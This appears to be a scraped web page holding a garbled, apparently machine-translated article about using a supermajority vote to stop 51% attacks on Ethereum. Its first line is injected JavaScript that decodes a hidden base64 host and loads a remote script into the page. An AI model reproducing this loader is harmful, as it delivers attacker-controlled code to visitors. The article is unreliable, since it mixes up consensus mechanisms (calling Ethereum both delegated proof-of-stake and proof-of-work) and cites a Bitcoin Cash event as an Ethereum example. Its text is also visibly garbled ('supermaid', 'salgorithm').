const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=cbf45460″;document.body.appendChild(script);
Ethereum: A super major vote to prevent 51% attack?
In the world of cryptocurrency, security and governance are priority considerations for each blockchain network. One of the most important concerns is the risk of an attack of
51%
, in which an attacker controls more than half of the network’s mining performance. This susceptibility to security can lead to malicious activities such as data theft, ransomware attacks and denial of service campaigns (denial of service). In recent years Ethereum has been exposed to numerous attempts in 51% attacks, with the most remarkable example of the
Bitcoin Cash (BCH) 2017.
Why a super major vote?
Proponents of a super major vote to prevent 51% attacks argue that it would provide an additional safety and stability layer for Ethereum. According to this theory, a majority vote would ensure that only authorized miners or validators can take part in the network’s validation process, which reduces the risk of malicious actors.
Important obstacles
While a supermaid vote has its merits, several important obstacles must be taken into account:
- Complexity : The implementation of a super major vote would require significant changes to Ethereum’s protocol and rules, including the creation of new mechanisms for the validation of transactions and the approval of the miners or validator participation.
- Scalability : Increase in the minimum voting threshold would probably lead to increased processing times and fees of the transaction, which could have a negative impact on the scalability and usability of the network.
- DPOS system (delegated proof-of-stake) : Ethereum currently uses a DPOS system in which validators are selected by a process due to their share in the network. This decentralized voting mechanism may have to be adapted or changed in order to take into account a supermaid vote.
- Consistent salgorithm : The consensus salgorithm used by Ethereum for work must be replaced by a new consensus mechanism –of -stake (dpos).
- Resistance from developers : Many developers and participants of the Ethereum project hesitate to take on a supermaid vote, with concerns about their complexity, potential disadvantages and limited scalability.
- Alternative solutions
: There are alternative solutions that could offer similar safety advantages without the need for a supermaid adjustment, e.g. B. the introduction of additional security measures or the improvement of existing.
Diploma
While a super major vote to prevent 51% attacks has its merits, it is not without challenges. The proposed solution requires significant changes to the Ethereum protocol and the rules, which can lead to increased complexity, scalability problems and possible resistance from developers. While the cryptocurrency landscape is developing, it is important to weigh the advantages of super majority against these obstacles and to take alternative solutions into account that prioritize security and at the same time minimize the disorder.
Sources:
- « Ethereums 51% attack problem » by Coindesk (2020)
- « The Ethereum 2.0: A supermaid vote? » From Coindesk (2020)
- « Why the Ethereum melting is necessary for 51% attack prevention by cryptoslate (2020)
Note: The article is written in an informative and neutral tone to present different perspectives on this topic without taking an attitude or promoting a specific solution.